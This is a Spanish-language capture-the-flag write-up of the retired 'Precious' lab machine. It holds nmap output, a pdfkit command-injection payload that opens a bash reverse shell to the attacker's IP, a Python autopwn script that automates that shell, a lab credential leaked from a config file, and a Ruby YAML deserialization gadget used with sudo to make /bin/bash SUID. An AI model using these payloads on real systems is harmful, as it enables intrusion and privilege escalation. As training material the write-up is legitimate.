Precious Writeup
Precious
Una máquina ya retirada, muy interesante si se esta iniciando en los CTF’s, y para practicar Python Scripting, se explota una vulnerabilidad de Pdfkit, para encontrar una fuga de información, y despues de ganar acceso a la máquina, abusar de privilegios sudoers
Recopilación de información
Nos proporcionan la dirección ip de la máquina
Primero vamos a comprobar la conexión con la máquina, enviando una traza ICMP
y a partir de esto, podemos ver que nos enfrentamos a una máquina cuyo sistema operativo es Linux.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.189
PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data.
64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=95.2 ms
--- 10.10.11.189 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 95.195/95.195/95.195/0.000 ms
Realizamos un escaneo para encontrar que puertos se encuentran abiertos en la máquina victima, así mismo conocer que servicios son los que se están ejecutando
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.189 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times
may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-03 17:19 -05
Initiating SYN Stealth Scan at 17:19
Scanning 10.10.11.189 [65535 ports]
Discovered open port 22/tcp on 10.10.11.189
Discovered open port 80/tcp on 10.10.11.189
Completed SYN Stealth Scan at 17:20, 16.70s elapsed (65535 total ports)
Nmap scan report for 10.10.11.189
Host is up, received user-set (0.097s latency).
Scanned at 2023-05-03 17:19:53 -05 for 17s
Not shown: 65406 closed tcp ports (reset), 127 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds
Raw packets sent: 82568 (3.633MB) | Rcvd: 80030 (3.201MB)
Vemos dos puertos, vamos a conocer un poco más preciso, estos servicios, junto con su versión, para ellos, vamos a ejecutar scripts por defecto que nmap
proporciona
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ nmap -p22,80 -sCV 10.10.11.189 -oN target
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-03 17:22 -05
Nmap scan report for 10.10.11.189
Host is up (0.096s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.47 seconds
Vamos a modificar nuestro /etc/hosts
para que apunte a precious.htb
Revisamos la página web y encontramos esto:
Pdfkit v0.8.6 Explotation - Command Injection (CVE-2022-25765)
Habilitamos un servidor http
con Python, y subimos un archivo con extensión .html
, obtenemos un pdf, lo descargamos y revisamos los detalles
Y encontramos lo siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ exiftool file.pdf
ExifTool Version Number : 12.16
File Name : file.pdf
Directory : .
File Size : 4.5 KiB
File Modification Date/Time : 2023:05:05 11:49:50-05:00
File Access Date/Time : 2023:05:05 11:49:50-05:00
File Inode Change Date/Time : 2023:05:05 11:50:17-05:00
File Permissions : rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Encontramos con que fue generado (pdfkit v0.8.6), ahora vamos a mirar como podemos explotar dicho servicio
Análisis de vulnerabilidades
Encontramos en esta página:
Command Injection in pdfkit CVE-2022-25765 Snyk
Que para versiones menores a la 0.8.7.2
hay una vulnerabilidad de Command Injection
, vamos a intentar y vamos a ver como responde la página.
Con el servicio HTTP
corriendo, nos ponemos en escucha por el puerto 443
1
nc -nlvp 443
Y nos enviamos una consola interactiva
1
http://{Attack_ip}:80/?name=%20`bash -c "bash -i >& /dev/tcp/{Attack_ip}/443 0>&1"`
Y en efecto, obtenemos una consola interactiva, a la cual le aplicamos su respectivo tratamiento a la TTY
1
2
ruby@precious:/var/www/pdfapp$ whoami
ruby
Advanced Python Scripting - AutoPwn Script
Como adicional, hemos creado un script en Python, que nos permita levantar el servicio HTTP
de una manera más comoda
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/python3
import requests
import signal
import pdb # Debugging Purposes
import sys
import time
import subprocess
import atexit
import multiprocessing
from pwn import log, listen
def def_handler(sig, frame):
cleanup()
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = 'http://precious.htb'
http_server = subprocess.Popen(["python3", "-m", "http.server", "80"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
lport = 443
def cleanup():
if http_server.poll() is None: # Preguntamos si el servicio aún está corriendo
http_server.kill()
atexit.register(cleanup) # AtExit, al salir, o al terminar el programa, quiero que llames a la función cleanup
# Automatiza la solicitud
def makeRequests():
post_data = {
'url': 'http://10.10.14.25:80/?name=%20`bash -c "bash -i >& /dev/tcp/10.10.14.25/443 0>&1"`'
}
# Vamos a realizar una petición por post, a la url principal, y le vamos a mandar post_data -> (Recordemos que esto se tomo de BurpSuite)
r = requests.post(main_url, data=post_data)
def main():
p1 = log.progress("Servicios")
p1.status("Iniciando el servicio HTTP sobre el puerto 80")
time.sleep(2)
if http_server.poll() is None:
p1.success("Servicio HTTP iniciado exitosamente")
else:
p1.error("Ha habido algun problema con el servicio HTTP")
cleanup()
sys.exit(1)
try:
proc = multiprocessing.Process(target=makeRequests, args=())
proc.start()
except Exception as e:
log.error(str(e))
cleanup()
sys.exit(1)
# Vamos a estar en escucha por el puerto y un tiempo de 20 seg - Con with, cerramos la conexion automaticamente por detrás
with listen(lport, timeout=20) as shell:
if shell.wait_for_connection():
print()
shell.interactive()
if __name__ == '__main__':
main()
Explotación de Vulnerabilidades
Nos movemos a /home
y buscamos la ruta de la flag para el usuario, y a encontramos en el directorio personal del usuario henry, lo que quiere decir que debemos migrar a ese usuario para acceder.
Information Leakage (User Pivoting)
Desde el directorio personal de ruby
encontramos las credenciales de henry
1
2
3
4
5
6
7
ruby@precious:~$ cd .bundle/
ruby@precious:~/.bundle$ ls
config
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$
Migramos al usuario y encontramos la primera flag
1
2
3
4
5
6
7
ruby@precious:~/.bundle$ su henry
Password:
henry@precious:/home/ruby/.bundle$ cd
henry@precious:~$ ls
user.txt
henry@precious:~$ cat user.txt
henry@precious:~$
Post Explotación
Ahora que ya tenemos dominio sobre el usuario, necesitamos elevar nuestro privilegios y convertirnos en root
Para eso, exploramos vias potenciales de escalación de privilegios
Abusing sudoers privilege + Yaml Deserialization Attack
Nos encontramos con que el usuario henry
puede ejecutar este comando como sudo
sin necesidad de proporcionar contraseña
1
2
3
4
5
6
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Leemos que es lo que está ejecutando:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml")) ←
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Encontramos que está cargando un archivo llamado dependencies.yml
el cual no está indicando con ruta absoluta, es decir, lo cargará desde el lugar donde se ejecute el comando.
Investigando un poco, sobre que archivo podriamos crear para obtener una ejecución de comandos, nos encontramos con esta página:
Blind Remote Code Execution through YAML Deserialization
Donde se indica que es posible la ejecución remota de comandos (RCE) al cargar esta estructura
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: {code_to_inject} ←
method_id: :resolve
En este caso, le vamos a agregar permisos SUID
a una bin/bash
para así ejecutar el siguiente comando
1
2
3
4
5
6
{code_to_inject} = "chmod u+s /bin/bash"
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ bash -p
bash-5.1# whoami
root
bash-5.1#
Y ya somos usuarios root
Por último buscamos la flag, que comprueba que comprometimos el sistema
1
2
bash-5.1# cat /root/root.txt
bash-5.1#